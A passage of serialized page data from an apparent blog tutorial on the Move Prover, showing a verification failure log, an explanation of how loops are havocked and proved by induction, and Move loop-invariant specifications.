the",{"type":23,"tag":41,"props":10368,"children":10369},{"style":735},[10370],{"type":28,"value":10371}," `",{"type":23,"tag":41,"props":10373,"children":10374},{"style":114},[10375],{"type":28,"value":8324},{"type":23,"tag":41,"props":10377,"children":10378},{"style":735},[10379],{"type":28,"value":10380},"`",{"type":23,"tag":41,"props":10382,"children":10383},{"style":114},[10384],{"type":28,"value":10385}," clauses\n",{"type":23,"tag":41,"props":10387,"children":10388},{"class":43,"line":85},[10389,10394,10399,10403],{"type":23,"tag":41,"props":10390,"children":10391},{"style":114},[10392],{"type":28,"value":10393},"╭",{"type":23,"tag":41,"props":10395,"children":10396},{"style":735},[10397],{"type":28,"value":10398},"     spec",{"type":23,"tag":41,"props":10400,"children":10401},{"style":735},[10402],{"type":28,"value":9579},{"type":23,"tag":41,"props":10404,"children":10405},{"style":735},[10406],{"type":28,"value":102},{"type":23,"tag":41,"props":10408,"children":10409},{"class":43,"line":105},[10410,10415,10420,10424,10428,10432,10436,10440,10444,10448,10452,10456,10460,10464,10468,10472,10476,10480,10484,10488,10492],{"type":23,"tag":41,"props":10411,"children":10412},{"style":170},[10413],{"type":28,"value":10414},"|",{"type":23,"tag":41,"props":10416,"children":10417},{"style":114},[10418],{"type":28,"value":10419},"         aborts_if",{"type":23,"tag":41,"props":10421,"children":10422},{"style":735},[10423],{"type":28,"value":9701},{"type":23,"tag":41,"props":10425,"children":10426},{"style":70},[10427],{"type":28,"value":1737},{"type":23,"tag":41,"props":10429,"children":10430},{"style":114},[10431],{"type":28,"value":458},{"type":23,"tag":41,"props":10433,"children":10434},{"style":70},[10435],{"type":28,"value":866},{"type":23,"tag":41,"props":10437,"children":10438},{"style":735},[10439],{"type":28,"value":4383},{"type":23,"tag":41,"props":10441,"children":10442},{"style":735},[10443],{"type":28,"value":9701},{"type":23,"tag":41,"props":10445,"children":10446},{"style":70},[10447],{"type":28,"value":1737},{"type":23,"tag":41,"props":10449,"children":10450},{"style":114},[10451],{"type":28,"value":3222},{"type":23,"tag":41,"props":10453,"children":10454},{"style":70},[10455],{"type":28,"value":866},{"type":23,"tag":41,"props":10457,"children":10458},{"style":170},[10459],{"type":28,"value":1022},{"type":23,"tag":41,"props":10461,"children":10462},{"style":735},[10463],{"type":28,"value":2381},{"type":23,"tag":41,"props":10465,"children":10466},{"style":735},[10467],{"type":28,"value":9657},{"type":23,"tag":41,"props":10469,"children":10470},{"style":64},[10471],{"type":28,"value":9814},{"type":23,"tag":41,"props":10473,"children":10474},{"style":735},[10475],{"type":28,"value":9657},{"type":23,"tag":41,"props":10477,"children":10478},{"style":64},[10479],{"type":28,"value":9814},{"type":23,"tag":41,"props":10481,"children":10482},{"style":735},[10483],{"type":28,"value":9657},{"type":23,"tag":41,"props":10485,"children":10486},{"style":64},[10487],{"type":28,"value":9814},{"type":23,"tag":41,"props":10489,"children":10490},{"style":735},[10491],{"type":28,"value":9657},{"type":23,"tag":41,"props":10493,"children":10494},{"style":70},[10495],{"type":28,"value":183},{"type":23,"tag":41,"props":10497,"children":10498},{"class":43,"line":155},[10499,10503,10508,10512,10516,10520,10524,10528,10532,10536,10540,10544,10548,10552,10556,10560],{"type":23,"tag":41,"props":10500,"children":10501},{"style":170},[10502],{"type":28,"value":10414},{"type":23,"tag":41,"props":10504,"children":10505},{"style":114},[10506],{"type":28,"value":10507},"         ensures",{"type":23,"tag":41,"props":10509,"children":10510},{"style":735},[10511],{"type":28,"value":9701},{"type":23,"tag":41,"props":10513,"children":10514},{"style":70},[10515],{"type":28,"value":1737},{"type":23,"tag":41,"props":10517,"children":10518},{"style":114},[10519],{"type":28,"value":9079},{"type":23,"tag":41,"props":10521,"children":10522},{"style":70},[10523],{"type":28,"value":866},{"type":23,"tag":41,"props":10525,"children":10526},{"style":735},[10527],{"type":28,"value":387},{"type":23,"tag":41,"props":10529,"children":10530},{"style":735},[10531],{"type":28,"value":9701},{"type":23,"tag":41,"props":10533,"children":10534},{"style":70},[10535],{"type":28,"value":1737},{"type":23,"tag":41,"props":10537,"children":10538},{"style":114},[10539],{"type":28,"value":458},{"type":23,"tag":41,"props":10541,"children":10542},{"style":70},[10543],{"type":28,"value":866},{"type":23,"tag":41,"props":10545,"children":10546},{"style":735},[10547],{"type":28,"value":4383},{"type":23,"tag":41,"props":10549,"children":10550},{"style":735},[10551],{"type":28,"value":9701},{"type":23,"tag":41,"props":10553,"children":10554},{"style":70},[10555],{"type":28,"value":1737},{"type":23,"tag":41,"props":10557,"children":10558},{"style":114},[10559],{"type":28,"value":3222},{"type":23,"tag":41,"props":10561,"children":10562},{"style":70},[10563],{"type":28,"value":3825},{"type":23,"tag":41,"props":10565,"children":10566},{"class":43,"line":186},[10567,10571],{"type":23,"tag":41,"props":10568,"children":10569},{"style":170},[10570],{"type":28,"value":10414},{"type":23,"tag":41,"props":10572,"children":10573},{"style":70},[10574],{"type":28,"value":10575},"     }\n",{"type":23,"tag":41,"props":10577,"children":10578},{"class":43,"line":195},[10579],{"type":23,"tag":41,"props":10580,"children":10581},{"style":114},[10582],{"type":28,"value":10583},"╰─────^\n",{"type":23,"tag":41,"props":10585,"children":10586},{"class":43,"line":905},[10587],{"type":23,"tag":41,"props":10588,"children":10589},{"emptyLinePlaceholder":18},[10590],{"type":28,"value":82},{"type":23,"tag":41,"props":10592,"children":10593},{"class":43,"line":922},[10594],{"type":23,"tag":41,"props":10595,"children":10596},{"style":70},[10597],{"type":28,"value":10316},{"type":23,"tag":41,"props":10599,"children":10600},{"class":43,"line":930},[10601],{"type":23,"tag":41,"props":10602,"children":10603},{"emptyLinePlaceholder":18},[10604],{"type":28,"value":82},{"type":23,"tag":41,"props":10606,"children":10607},{"class":43,"line":939},[10608,10613,10618],{"type":23,"tag":41,"props":10609,"children":10610},{"style":114},[10611],{"type":28,"value":10612}," at",{"type":23,"tag":41,"props":10614,"children":10615},{"style":735},[10616],{"type":28,"value":10617}," ./sources/u256.move:316:",{"type":23,"tag":41,"props":10619,"children":10620},{"style":735},[10621],{"type":28,"value":10622}," add\n",{"type":23,"tag":41,"props":10624,"children":10625},{"class":43,"line":947},[10626,10631,10636,10641,10645,10650,10654,10659,10664,10669,10674,10679],{"type":23,"tag":41,"props":10627,"children":10628},{"style":114},[10629],{"type":28,"value":10630}," enter",{"type":23,"tag":41,"props":10632,"children":10633},{"style":735},[10634],{"type":28,"value":10635}," loop,",{"type":23,"tag":41,"props":10637,"children":10638},{"style":735},[10639],{"type":28,"value":10640}," variable",{"type":23,"tag":41,"props":10642,"children":10643},{"style":70},[10644],{"type":28,"value":1737},{"type":23,"tag":41,"props":10646,"children":10647},{"style":114},[10648],{"type":28,"value":10649},"s",{"type":23,"tag":41,"props":10651,"children":10652},{"style":70},[10653],{"type":28,"value":866},{"type":23,"tag":41,"props":10655,"children":10656},{"style":735},[10657],{"type":28,"value":10658},"carry,",{"type":23,"tag":41,"props":10660,"children":10661},{"style":735},[10662],{"type":28,"value":10663}," i,",{"type":23,"tag":41,"props":10665,"children":10666},{"style":735},[10667],{"type":28,"value":10668}," ret",{"type":23,"tag":41,"props":10670,"children":10671},{"style":735},[10672],{"type":28,"value":10673}," havocked",{"type":23,"tag":41,"props":10675,"children":10676},{"style":735},[10677],{"type":28,"value":10678}," and",{"type":23,"tag":41,"props":10680,"children":10681},{"style":735},[10682],{"type":28,"value":10683}," reassigned\n",{"type":23,"tag":41,"props":10685,"children":10686},{"class":43,"line":985},[10687,10692,10696],{"type":23,"tag":41,"props":10688,"children":10689},{"style":114},[10690],{"type":28,"value":10691},"     carry",{"type":23,"tag":41,"props":10693,"children":10694},{"style":735},[10695],{"type":28,"value":3017},{"type":23,"tag":41,"props":10697,"children":10698},{"style":164},[10699],{"type":28,"value":10700}," 54\n",{"type":23,"tag":41,"props":10702,"children":10703},{"class":43,"line":1058},[10704,10709,10713],{"type":23,"tag":41,"props":10705,"children":10706},{"style":114},[10707],{"type":28,"value":10708},"     i",{"type":23,"tag":41,"props":10710,"children":10711},{"style":735},[10712],{"type":28,"value":3017},{"type":23,"tag":41,"props":10714,"children":10715},{"style":164},[10716],{"type":28,"value":10717}," 3792\n",{"type":23,"tag":41,"props":10719,"children":10720},{"class":43,"line":1084},[10721,10726,10730,10735,10739,10744,10749,10753,10758,10763,10767,10772,10777,10781,10786],{"type":23,"tag":41,"props":10722,"children":10723},{"style":114},[10724],{"type":28,"value":10725},"     ret",{"type":23,"tag":41,"props":10727,"children":10728},{"style":735},[10729],{"type":28,"value":3017},{"type":23,"tag":41,"props":10731,"children":10732},{"style":735},[10733],{"type":28,"value":10734}," u256.U256{v0",{"type":23,"tag":41,"props":10736,"children":10737},{"style":735},[10738],{"type":28,"value":3017},{"type":23,"tag":41,"props":10740,"children":10741},{"style":735},[10742],{"type":28,"value":10743}," 26418,",{"type":23,"tag":41,"props":10745,"children":10746},{"style":735},[10747],{"type":28,"value":10748}," v1",{"type":23,"tag":41,"props":10750,"children":10751},{"style":735},[10752],{"type":28,"value":3017},{"type":23,"tag":41,"props":10754,"children":10755},{"style":735},[10756],{"type":28,"value":10757}," 27938,",{"type":23,"tag":41,"props":10759,"children":10760},{"style":735},[10761],{"type":28,"value":10762}," v2",{"type":23,"tag":41,"props":10764,"children":10765},{"style":735},[10766],{"type":28,"value":3017},{"type":23,"tag":41,"props":10768,"children":10769},{"style":735},[10770],{"type":28,"value":10771}," 6900,",{"type":23,"tag":41,"props":10773,"children":10774},{"style":735},[10775],{"type":28,"value":10776}," v3",{"type":23,"tag":41,"props":10778,"children":10779},{"style":735},[10780],{"type":28,"value":3017},{"type":23,"tag":41,"props":10782,"children":10783},{"style":164},[10784],{"type":28,"value":10785}," 1999",{"type":23,"tag":41,"props":10787,"children":10788},{"style":735},[10789],{"type":28,"value":201},{"type":23,"tag":41,"props":10791,"children":10792},{"class":43,"line":1102},[10793,10797,10802],{"type":23,"tag":41,"props":10794,"children":10795},{"style":114},[10796],{"type":28,"value":10612},{"type":23,"tag":41,"props":10798,"children":10799},{"style":735},[10800],{"type":28,"value":10801}," ./sources/u256.move:346:",{"type":23,"tag":41,"props":10803,"children":10804},{"style":735},[10805],{"type":28,"value":10622},{"type":23,"tag":41,"props":10807,"children":10808},{"class":43,"line":1110},[10809],{"type":23,"tag":41,"props":10810,"children":10811},{"style":114},[10812],{"type":28,"value":10813},"     ABORTED\n",{"type":23,"tag":41,"props":10815,"children":10816},{"class":43,"line":1118},[10817],{"type":23,"tag":41,"props":10818,"children":10819},{"emptyLinePlaceholder":18},[10820],{"type":28,"value":82},{"type":23,"tag":41,"props":10822,"children":10823},{"class":43,"line":1137},[10824,10829,10834,10838,10843,10848,10853,10857,10862,10866],{"type":23,"tag":41,"props":10825,"children":10826},{"style":114},[10827],{"type":28,"value":10828},"FAILURE",{"type":23,"tag":41,"props":10830,"children":10831},{"style":735},[10832],{"type":28,"value":10833}," proving",{"type":23,"tag":41,"props":10835,"children":10836},{"style":164},[10837],{"type":28,"value":167},{"type":23,"tag":41,"props":10839,"children":10840},{"style":735},[10841],{"type":28,"value":10842}," modules",{"type":23,"tag":41,"props":10844,"children":10845},{"style":735},[10846],{"type":28,"value":10847}," from",{"type":23,"tag":41,"props":10849,"children":10850},{"style":735},[10851],{"type":28,"value":10852}," package",{"type":23,"tag":41,"props":10854,"children":10855},{"style":735},[10856],{"type":28,"value":10371},{"type":23,"tag":41,"props":10858,"children":10859},{"style":114},[10860],{"type":28,"value":10861},"u256",{"type":23,"tag":41,"props":10863,"children":10864},{"style":735},[10865],{"type":28,"value":10380},{"type":23,"tag":41,"props":10867,"children":10868},{"style":70},[10869],{"type":28,"value":10870}," in 9.143s\n",{"type":23,"tag":41,"props":10872,"children":10873},{"class":43,"line":1163},[10874],{"type":23,"tag":41,"props":10875,"children":10876},{"style":70},[10877],{"type":28,"value":1559},{"type":23,"tag":41,"props":10879,"children":10880},{"class":43,"line":1188},[10881,10886,10890],{"type":23,"tag":41,"props":10882,"children":10883},{"style":114},[10884],{"type":28,"value":10885},"    \"Error\"",{"type":23,"tag":41,"props":10887,"children":10888},{"style":114},[10889],{"type":28,"value":1474},{"type":23,"tag":41,"props":10891,"children":10892},{"style":735},[10893],{"type":28,"value":10894}," \"Move Prover failed: exiting with verification errors\"\n",{"type":23,"tag":41,"props":10896,"children":10897},{"class":43,"line":1979},[10898],{"type":23,"tag":41,"props":10899,"children":10900},{"style":70},[10901],{"type":28,"value":201},{"type":23,"tag":24,"props":10903,"children":10904},{},[10905,10907,10912],{"type":28,"value":10906},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":23,"tag":37,"props":10908,"children":10910},{"className":10909},[],[10911],{"type":28,"value":8324},{"type":28,"value":10913}," clauses. But there is no other abort situation that we have to cover, right?",{"type":23,"tag":24,"props":10915,"children":10916},{},[10917,10919,10925],{"type":28,"value":10918},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":23,"tag":37,"props":10920,"children":10922},{"className":10921},[],[10923],{"type":28,"value":10924},"ret havocked and reassigned",{"type":28,"value":706},{"type":23,"tag":24,"props":10927,"children":10928},{},[10929],{"type":28,"value":10930},"What does this mean?",{"type":23,"tag":24,"props":10932,"children":10933},{},[10934,10936,10943],{"type":28,"value":10935},"By diving into the Move Prover source, we find a ",{"type":23,"tag":458,"props":10937,"children":10940},{"href":10938,"rel":10939},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[462],[10941],{"type":28,"value":10942},"likely suspect",{"type":28,"value":10944},". The prover attempts to prove all loops with induction!",{"type":23,"tag":24,"props":10946,"children":10947},{},[10948],{"type":28,"value":10949},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":23,"tag":5436,"props":10951,"children":10952},{},[10953,10958],{"type":23,"tag":421,"props":10954,"children":10955},{},[10956],{"type":28,"value":10957},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":23,"tag":421,"props":10959,"children":10960},{},[10961],{"type":28,"value":10962},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":23,"tag":24,"props":10964,"children":10965},{},[10966,10968,10973,10975,10981,10982,10988,10989,10994,10996,11001],{"type":28,"value":10967},"The loop prover will also ",{"type":23,"tag":510,"props":10969,"children":10970},{},[10971],{"type":28,"value":10972},"havoc, or assign random values to, all variables written to inside the loop",{"type":28,"value":10974},". Going back to the log message, this implies that the variables ",{"type":23,"tag":37,"props":10976,"children":10978},{"className":10977},[],[10979],{"type":28,"value":10980},"carry",{"type":28,"value":970},{"type":23,"tag":37,"props":10983,"children":10985},{"className":10984},[],[10986],{"type":28,"value":10987},"ret",{"type":28,"value":1361},{"type":23,"tag":37,"props":10990,"children":10992},{"className":10991},[],[10993],{"type":28,"value":3737},{"type":28,"value":10995}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":23,"tag":37,"props":10997,"children":10999},{"className":10998},[],[11000],{"type":28,"value":9636},{"type":28,"value":11002}," makes no sense.",{"type":23,"tag":24,"props":11004,"children":11005},{},[11006],{"type":28,"value":11007},"More concretely, the loop analysis translates into the following steps.",{"type":23,"tag":5436,"props":11009,"children":11010},{},[11011,11016,11021,11026,11031,11036],{"type":23,"tag":421,"props":11012,"children":11013},{},[11014],{"type":28,"value":11015},"Assert the loop invariant",{"type":23,"tag":421,"props":11017,"children":11018},{},[11019],{"type":28,"value":11020},"Havoc all modified variables",{"type":23,"tag":421,"props":11022,"children":11023},{},[11024],{"type":28,"value":11025},"Assume the loop invariant",{"type":23,"tag":421,"props":11027,"children":11028},{},[11029],{"type":28,"value":11030},"Assume the loop guard (the code inside the while condition)",{"type":23,"tag":421,"props":11032,"children":11033},{},[11034],{"type":28,"value":11035},"Run the loop body",{"type":23,"tag":421,"props":11037,"children":11038},{},[11039],{"type":28,"value":11015},{"type":23,"tag":24,"props":11041,"children":11042},{},[11043],{"type":28,"value":11044},"There are two approaches to dealing with loops.",{"type":23,"tag":24,"props":11046,"children":11047},{},[11048],{"type":28,"value":11049},"The first would be to specify a loop invariant.",{"type":23,"tag":24,"props":11051,"children":11052},{},[11053,11055,11062],{"type":28,"value":11054},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":23,"tag":458,"props":11056,"children":11059},{"href":11057,"rel":11058},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[462],[11060],{"type":28,"value":11061},"previous post",{"type":28,"value":706},{"type":23,"tag":31,"props":11064,"children":11066},{"code":11065,"language":2981,"meta":7,"className":2982,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[11067],{"type":23,"tag":37,"props":11068,"children":11069},{"__ignoreMap":7},[11070,11082,11093,11129,11152,11235,11242,11266,11274,11294,11314,11405,11412,11440],{"type":23,"tag":41,"props":11071,"children":11072},{"class":43,"line":44},[11073,11078],{"type":23,"tag":41,"props":11074,"children":11075},{"style":58},[11076],{"type":28,"value":11077},"  while",{"type":23,"tag":41,"props":11079,"children":11080},{"style":70},[11081],{"type":28,"value":8531},{"type":23,"tag":41,"props":11083,"children":11084},{"class":43,"line":54},[11085,11089],{"type":23,"tag":41,"props":11086,"children":11087},{"style":858},[11088],{"type":28,"value":8925},{"type":23,"tag":41,"props":11090,"children":11091},{"style":70},[11092],{"type":28,"value":102},{"type":23,"tag":41,"props":11094,"children":11095},{"class":43,"line":76},[11096,11101,11105,11109,11113,11117,11121,11125],{"type":23,"tag":41,"props":11097,"children":11098},{"style":858},[11099],{"type":28,"value":11100},"          invariant",{"type":23,"tag":41,"props":11102,"children":11103},{"style":114},[11104],{"type":28,"value":8556},{"type":23,"tag":41,"props":11106,"children":11107},{"style":70},[11108],{"type":28,"value":1737},{"type":23,"tag":41,"props":11110,"children":11111},{"style":858},[11112],{"type":28,"value":8565},{"type":23,"tag":41,"props":11114,"children":11115},{"style":70},[11116],{"type":28,"value":866},{"type":23,"tag":41,"props":11118,"children":11119},{"style":170},[11120],{"type":28,"value":387},{"type":23,"tag":41,"props":11122,"children":11123},{"style":858},[11124],{"type":28,"value":861},{"type":23,"tag":41,"props":11126,"children":11127},{"style":70},[11128],{"type":28,"value":183},{"type":23,"tag":41,"props":11130,"children":11131},{"class":43,"line":85},[11132,11136,11140,11144,11148],{"type":23,"tag":41,"props":11133,"children":11134},{"style":858},[11135],{"type":28,"value":11100},{"type":23,"tag":41,"props":11137,"children":11138},{"style":858},[11139],{"type":28,"value":861},{"type":23,"tag":41,"props":11141,"children":11142},{"style":170},[11143],{"type":28,"value":8196},{"type":23,"tag":41,"props":11145,"children":11146},{"style":858},[11147],{"type":28,"value":8486},{"type":23,"tag":41,"props":11149,"children":11150},{"style":70},[11151],{"type":28,"value":183},{"type":23,"tag":41,"props":11153,"children":11154},{"class":43,"line":105},[11155,11159,11163,11167,11171,11175,11179,11183,11187,11191,11195,11199,11203,11207,11211,11215,11219,11223,11227,11231],{"type":23,"tag":41,"props":11156,"children":11157},{"style":858},[11158],{"type":28,"value":11100},{"type":23,"tag":41,"props":11160,"children":11161},{"style":858},[11162],{"type":28,"value":8616},{"type":23,"tag":41,"props":11164,"children":11165},{"style":858},[11166],{"type":28,"value":8621},{"type":23,"tag":41,"props":11168,"children":11169},{"style":64},[11170],{"type":28,"value":3044},{"type":23,"tag":41,"props":11172,"children":11173},{"style":164},[11174],{"type":28,"value":392},{"type":23,"tag":41,"props":11176,"children":11177},{"style":170},[11178],{"type":28,"value":3053},{"type":23,"tag":41,"props":11180,"children":11181},{"style":858},[11182],{"type":28,"value":3737},{"type":23,"tag":41,"props":11184,"children":11185},{"style":170},[11186],{"type":28,"value":1474},{"type":23,"tag":41,"props":11188,"children":11189},{"style":858},[11190],{"type":28,"value":8421},{"type":23,"tag":41,"props":11192,"children":11193},{"style":70},[11194],{"type":28,"value":312},{"type":23,"tag":41,"props":11196,"children":11197},{"style":858},[11198],{"type":28,"value":8654},{"type":23,"tag":41,"props":11200,"children":11201},{"style":70},[11202],{"type":28,"value":8659},{"type":23,"tag":41,"props":11204,"children":11205},{"style":170},[11206],{"type":28,"value":387},{"type":23,"tag":41,"props":11208,"children":11209},{"style":858},[11210],{"type":28,"value":8668},{"type":23,"tag":41,"props":11212,"children":11213},{"style":70},[11214],{"type":28,"value":312},{"type":23,"tag":41,"props":11216,"children":11217},{"style":858},[11218],{"type":28,"value":8654},{"type":23,"tag":41,"props":11220,"children":11221},{"style":70},[11222],{"type":28,"value":8659},{"type":23,"tag":41,"props":11224,"children":11225},{"style":170},[11226],{"type":28,"value":377},{"type":23,"tag":41,"props":11228,"children":11229},{"style":858},[11230],{"type":28,"value":8486},{"type":23,"tag":41,"props":11232,"children":11233},{"style":70},[11234],{"type":28,"value":183},{"type":23,"tag":41,"props":11236,"children":11237},{"class":43,"line":155},[11238],{"type":23,"tag":41,"props":11239,"children":11240},{"style":70},[11241],{"type":28,"value":8917},{"type":23,"tag":41,"props":11243,"children":11244},{"class":43,"line":186},[11245,11250,11254,11258,11262],{"type":23,"tag":41,"props":11246,"children":11247},{"style":70},[11248],{"type":28,"value":11249},"      (",{"type":23,"tag":41,"props":11251,"children":11252},{"style":858},[11253],{"type":28,"value":3737},{"type":23,"tag":41,"props":11255,"children":11256},{"style":170},[11257],{"type":28,"value":758},{"type":23,"tag":41,"props":11259,"children":11260},{"style":858},[11261],{"type":28,"value":8486},{"type":23,"tag":41,"props":11263,"children":11264},{"style":70},[11265],{"type":28,"value":1969},{"type":23,"tag":41,"props":11267,"children":11268},{"class":43,"line":195},[11269],{"type":23,"tag":41,"props":11270,"children":11271},{"style":70},[11272],{"type":28,"value":11273},"  }) {\n",{"type":23,"tag":41,"props":11275,"children":11276},{"class":43,"line":905},[11277,11282,11286,11290],{"type":23,"tag":41,"props":11278,"children":11279},{"style":70},[11280],{"type":28,"value":11281},"      vector",{"type":23,"tag":41,"props":11283,"children":11284},{"style":170},[11285],{"type":28,"value":3479},{"type":23,"tag":41,"props":11287,"children":11288},{"style":114},[11289],{"type":28,"value":8749},{"type":23,"tag":41,"props":11291,"children":11292},{"style":70},[11293],{"type":28,"value":3461},{"type":23,"tag":41,"props":11295,"children":11296},{"class":43,"line":922},[11297,11302,11306,11310],{"type":23,"tag":41,"props":11298,"children":11299},{"style":170},[11300],{"type":28,"value":11301},"          &",{"type":23,"tag":41,"props":11303,"children":11304},{"style":64},[11305],{"type":28,"value":3723},{"type":23,"tag":41,"props":11307,"children":11308},{"style":858},[11309],{"type":28,"value":8421},{"type":23,"tag":41,"props":11311,"children":11312},{"style":70},[11313],{"type":28,"value":3506},{"type":23,"tag":41,"props":11315,"children":11316},{"class":43,"line":930},[11317,11321,11325,11329,11333,11337,11341,11345,11349,11353,11357,11361,11365,11369,11373,11377,11381,11385,11389,11393,11397,11401],{"type":23,"tag":41,"props":11318,"children":11319},{"style":70},[11320],{"type":28,"value":8708},{"type":23,"tag":41,"props":11322,"children":11323},{"style":170},[11324],{"type":28,"value":377},{"type":23,"tag":41,"props":11326,"children":11327},{"style":70},[11328],{"type":28,"value":8790},{"type":23,"tag":41,"props":11330,"children":11331},{"style":170},[11332],{"type":28,"value":3479},{"type":23,"tag":41,"props":11334,"children":11335},{"style":114},[11336],{"type":28,"value":8799},{"type":23,"tag":41,"props":11338,"children":11339},{"style":70},[11340],{"type":28,"value":1737},{"type":23,"tag":41,"props":11342,"children":11343},{"style":170},[11344],{"type":28,"value":855},{"type":23,"tag":41,"props":11346,"children":11347},{"style":858},[11348],{"type":28,"value":8366},{"type":23,"tag":41,"props":11350,"children":11351},{"style":70},[11352],{"type":28,"value":8816},{"type":23,"tag":41,"props":11354,"children":11355},{"style":858},[11356],{"type":28,"value":3737},{"type":23,"tag":41,"props":11358,"children":11359},{"style":64},[11360],{"type":28,"value":8825},{"type":23,"tag":41,"props":11362,"children":11363},{"style":94},[11364],{"type":28,"value":5860},{"type":23,"tag":41,"props":11366,"children":11367},{"style":70},[11368],{"type":28,"value":1746},{"type":23,"tag":41,"props":11370,"children":11371},{"style":64},[11372],{"type":28,"value":8838},{"type":23,"tag":41,"props":11374,"children":11375},{"style":94},[11376],{"type":28,"value":8843},{"type":23,"tag":41,"props":11378,"children":11379},{"style":70},[11380],{"type":28,"value":866},{"type":23,"tag":41,"props":11382,"children":11383},{"style":170},[11384],{"type":28,"value":377},{"type":23,"tag":41,"props":11386,"children":11387},{"style":70},[11388],{"type":28,"value":142},{"type":23,"tag":41,"props":11390,"children":11391},{"style":858},[11392],{"type":28,"value":8860},{"type":23,"tag":41,"props":11394,"children":11395},{"style":64},[11396],{"type":28,"value":8825},{"type":23,"tag":41,"props":11398,"children":11399},{"style":94},[11400],{"type":28,"value":8843},{"type":23,"tag":41,"props":11402,"children":11403},{"style":70},[11404],{"type":28,"value":1969},{"type":23,"tag":41,"props":11406,"children":11407},{"class":43,"line":939},[11408],{"type":23,"tag":41,"props":11409,"children":11410},{"style":70},[11411],{"type":28,"value":6765},{"type":23,"tag":41,"props":11413,"children":11414},{"class":43,"line":947},[11415,11420,11424,11428,11432,11436],{"type":23,"tag":41,"props":11416,"children":11417},{"style":858},[11418],{"type":28,"value":11419},"      i",{"type":23,"tag":41,"props":11421,"children":11422},{"style":170},[11423],{"type":28,"value":3017},{"type":23,"tag":41,"props":11425,"children":11426},{"style":858},[11427],{"type":28,"value":861},{"type":23,"tag":41,"props":11429,"children":11430},{"style":170},[11431],{"type":28,"value":8901},{"type":23,"tag":41,"props":11433,"children":11434},{"style":164},[11435],{"type":28,"value":167},{"type":23,"tag":41,"props":11437,"children":11438},{"style":70},[11439],{"type":28,"value":183},{"type":23,"tag":41,"props":11441,"children":11442},{"class":43,"line":985},[11443],{"type":23,"tag":41,"props":11444,"children":11445},{"style":70},[11446],{"type":28,"value":11447},"  };\n",{"type":23,"tag":24,"props":11449,"children":11450},{},[11451,11453,11459,11461,11466,11468,11474],{"type":28,"value":11452},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":37,"props":11454,"children":11456},{"className":11455},[],[11457],{"type":28,"value":11458},"while",{"type":28,"value":11460}," loop. Note that because the loop invariant executes ",{"type":23,"tag":2913,"props":11462,"children":11463},{},[11464],{"type":28,"value":11465},"after",{"type":28,"value":11467}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":37,"props":11469,"children":11471},{"className":11470},[],[11472],{"type":28,"value":11473},"i \u003C= n_coins",{"type":28,"value":706},{"type":23,"tag":31,"props":11476,"children":11478},{"code":11477,"language":2981,"meta":7,"className":2982,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[11479],{"type":23,"tag":37,"props":11480,"children":11481},{"__ignoreMap":7},[11482,11493,11504,11539,11562,11645,11652,11675],{"type":23,"tag":41,"props":11483,"children":11484},{"class":43,"line":44},[11485,11489],{"type":23,"tag":41,"props":11486,"children":11487},{"style":58},[11488],{"type":28,"value":11077},{"type":23,"tag":41,"props":11490,"children":11491},{"style":70},[11492],{"type":28,"value":8531},{"type":23,"tag":41,"props":11494,"children":11495},{"class":43,"line":54},[11496,11500],{"type":23,"tag":41,"props":11497,"children":11498},{"style":858},[11499],{"type":28,"value":8925},{"type":23,"tag":41,"props":11501,"children":11502},{"style":70},[11503],{"type":28,"value":102},{"type":23,"tag":41,"props":11505,"children":11506},{"class":43,"line":76},[11507,11511,11515,11519,11523,11527,11531,11535],{"type":23,"tag":41,"props":11508,"children":11509},{"style":858},[11510],{"type":28,"value":11100},{"type":23,"tag":41,"props":11512,"children":11513},{"style":114},[11514],{"type":28,"value":8556},{"type":23,"tag":41,"props":11516,"children":11517},{"style":70},[11518],{"type":28,"value":1737},{"type":23,"tag":41,"props":11520,"children":11521},{"style":858},[11522],{"type":28,"value":8565},{"type":23,"tag":41,"props":11524,"children":11525},{"style":70},[11526],{"type":28,"value":866},{"type":23,"tag":41,"props":11528,"children":11529},{"style":170},[11530],{"type":28,"value":387},{"type":23,"tag":41,"props":11532,"children":11533},{"style":858},[11534],{"type":28,"value":861},{"type":23,"tag":41,"props":11536,"children":11537},{"style":70},[11538],{"type":28,"value":183},{"type":23,"tag":41,"props":11540,"children":11541},{"class":43,"line":85},[11542,11546,11550,11554,11558],{"type":23,"tag":41,"props":11543,"children":11544},{"style":858},[11545],{"type":28,"value":11100},{"type":23,"tag":41,"props":11547,"children":11548},{"style":858},[11549],{"type":28,"value":861},{"type":23,"tag":41,"props":11551,"children":11552},{"style":170},[11553],{"type":28,"value":8196},{"type":23,"tag":41,"props":11555,"children":11556},{"style":858},[11557],{"type":28,"value":8486},{"type":23,"tag":41,"props":11559,"children":11560},{"style":70},[11561],{"type":28,"value":183},{"type":23,"tag":41,"props":11563,"children":11564},{"class":43,"line":105},[11565,11569,11573,11577,11581,11585,11589,11593,11597,11601,11605,11609,11613,11617,11621,11625,11629,11633,11637,11641],{"type":23,"tag":41,"props":11566,"children":11567},{"style":858},[11568],{"type":28,"value":11100},{"type":23,"tag":41,"props":11570,"children":11571},{"style":858},[11572],{"type":28,"value":8616},{"type":23,"tag":41,"props":11574,"children":11575},{"style":858},[11576],{"type":28,"value":8621},{"type":23,"tag":41,"props":11578,"children":11579},{"style":64},[11580],{"type":28,"value":3044},{"type":23,"tag":41,"props":11582,"children":11583},{"style":164},[11584],{"type":28,"value":392},{"